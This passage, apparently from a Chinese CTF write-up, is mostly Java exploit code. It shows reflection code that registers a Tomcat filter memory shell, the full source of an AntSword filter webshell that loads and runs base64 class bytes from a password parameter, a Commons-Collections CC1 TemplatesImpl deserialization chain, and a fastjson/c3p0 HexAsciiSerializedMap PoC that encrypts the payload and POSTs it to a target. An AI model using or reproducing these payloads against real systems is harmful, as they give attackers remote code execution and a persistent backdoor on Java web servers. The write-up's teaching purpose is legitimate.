filterMap.setDispatcher("REQUEST");
System.out.println("hello");
filterMap.addURLPattern("/xxxx/wa1k");
Method addFilterMap=standardContext.getClass().getDeclaredMethod("addFilterMap", org.apache.catalina.deploy.FilterMap.class);
addFilterMap.invoke(standardContext,filterMap);
org.apache.catalina.deploy.FilterDef tmpFilterDef=(org.apache.catalina.deploy.FilterDef)filterDefConstructor.newInstance();
tmpFilterDef.setFilterClass("org.apache.catalina.ssi.SSIFilter");
tmpFilterDef.setFilterName(filterName);
Constructor applicationFilterConfigConstructor=org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, org.apache.catalina.deploy.FilterDef.class);
applicationFilterConfigConstructor.setAccessible(true);
Properties properties=new Properties();
properties.put("org.apache.catalina.ssi.SSIFilter","123");
Field restrictedFiltersField= ApplicationFilterConfig.class.getDeclaredField("restrictedFilters");
restrictedFiltersField.setAccessible(true);
restrictedFiltersField.set(null,properties);
ApplicationFilterConfig filterConfig=(ApplicationFilterConfig)applicationFilterConfigConstructor.newInstance(standardContext,tmpFilterDef);
Field filterField=filterConfig.getClass().getDeclaredField("filter");
filterField.setAccessible(true);
filterField.set(filterConfig,evilFilter);
Field filterDefField=filterConfig.getClass().getDeclaredField("filterDef");
filterDefField.setAccessible(true);
filterDefField.set(filterConfig,filterDef);
Field filterConfigsField=org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigs=(HashMap)filterConfigsField.get(standardContext);
filterConfigs.put(filterName,filterConfig);
filterConfigsField.set(standardContext,filterConfigs);
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (Exception e) {
throw new RuntimeException(e);
}

}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

注入的是蚁剑filter内存马,其代码逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class antshell implements Filter {
public String pass = "wa1ki0g";
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;

try {
String cls = request.getParameter(this.pass);
if (cls != null) {
try {
byte[] data = this.doBase64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0],
Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(classLoader, data, 0, data.length);
clazz.newInstance().equals(new Object[]{request, response});
} catch (Exception ignored) {
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class<?> clazz = Class.forName("sun.misc.BASE64Decoder");
Object decoder = clazz.newInstance();
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(decoder, str);
} catch (Exception e) {
Class<?> clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
@Override
public void destroy() {
}
}

ok,我们最终利用c3p0+cc1+TemplatesImpl去注入内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package fast.web.src;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;

public class CC1 {
public static void main(String[] args) throws Exception {
byte[] evilBytes = getBytes("/tmp/newINject.class");
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilBytes});
setField(templates, "_name", "Evil");
setField(templates, "_tfactory", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "123");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object payloadObject = ctor.newInstance(Target.class, outmap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/tmp/ncm.ser"));
oos.writeObject(payloadObject);
oos.close();
}
public static byte[] getBytes(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fis.read(bytes);
fis.close();
return bytes;
}
public static void setField(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.util.Arrays;
import static org.example.AESUtil.encryptByNoPadding2;
public class POC {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("/tmp/ncm.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
String poc1 ="{\"flag\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
System.out.println("poc1:");
System.out.println(poc1);
String poc2 = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:" + HexString + ";\"}";
System.out.println("poc2:");
System.out.println(poc2);
System.out.println("flag="+encryptByNoPadding2(poc2));
System.out.println(HPOST.sendPostRequest("http://x/","flag="+encryptByNoPadding2(poc2)));
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

最终一发入魂: